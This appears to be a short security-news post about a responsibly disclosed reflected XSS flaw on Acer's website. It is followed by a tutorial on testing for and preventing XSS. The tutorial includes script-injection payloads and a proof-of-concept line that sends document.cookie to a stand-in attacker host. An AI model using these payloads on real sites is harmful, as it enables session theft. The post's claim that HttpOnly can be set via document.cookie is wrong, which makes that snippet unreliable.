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A security researcher, Chirag Saini, recently discovered and responsibly disclosed a Reflected Cross-Site Scripting (XSS) vulnerability on the Acer website. The issue was promptly reported to Acer’s security team, who addressed and patched the vulnerability, enhancing the website’s security.
You Should Know:
Reflected XSS occurs when malicious scripts are injected into a website through user input, which is then executed by the victim’s browser. Below are key concepts, commands, and preventive measures related to XSS vulnerabilities.
Testing for XSS Vulnerabilities
1. Basic Payload Test
<script>alert('XSS')</script>
Insert this into input fields or URL parameters to check for script execution.
2. Using cURL to Test URL Parameters
curl -s "https://example.com/search?query=<script>alert('XSS')</script>" | grep -i "script"
Checks if the script is reflected in the response.
3. Automated Scanning with OWASP ZAP
zap-cli quick-scan -s xss https://example.com
Runs an automated XSS scan using OWASP ZAP.
Preventing XSS Attacks
1. Input Sanitization in PHP
$clean_input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
Converts special characters to HTML entities.
2. Content Security Policy (CSP) Header
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
Prevents inline script execution.
3. Using HTTP-only Cookies
// Set secure, HttpOnly flag in cookies document.cookie = "sessionID=123; Secure; HttpOnly";
Mitigates session hijacking via XSS.
Post-Exploitation Analysis
- Check Browser Console for Errors (F12 → Console)
- Extract Cookies via XSS
alert(document.cookie);
- Steal Session Tokens (Proof-of-Concept)
fetch('https://attacker.com/steal?cookie=' + document.cookie);
What Undercode Say
Reflected XSS remains a critical web vulnerability due to improper input validation. Ethical hackers play a vital role in identifying and reporting such flaws. Developers must enforce strict input filtering, output encoding, and security headers like CSP. Regular penetration testing using tools like Burp Suite, XSS Hunter, and manual payload testing ensures robust defenses.
Expected Output:
- Acer patched the vulnerability after responsible disclosure.
- Security teams should continuously audit web applications for XSS flaws.
- Developers must adopt secure coding practices to mitigate injection risks.
(No additional URLs were provided in the original post.)
References:
Reported By: Chiragsaini2210 Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
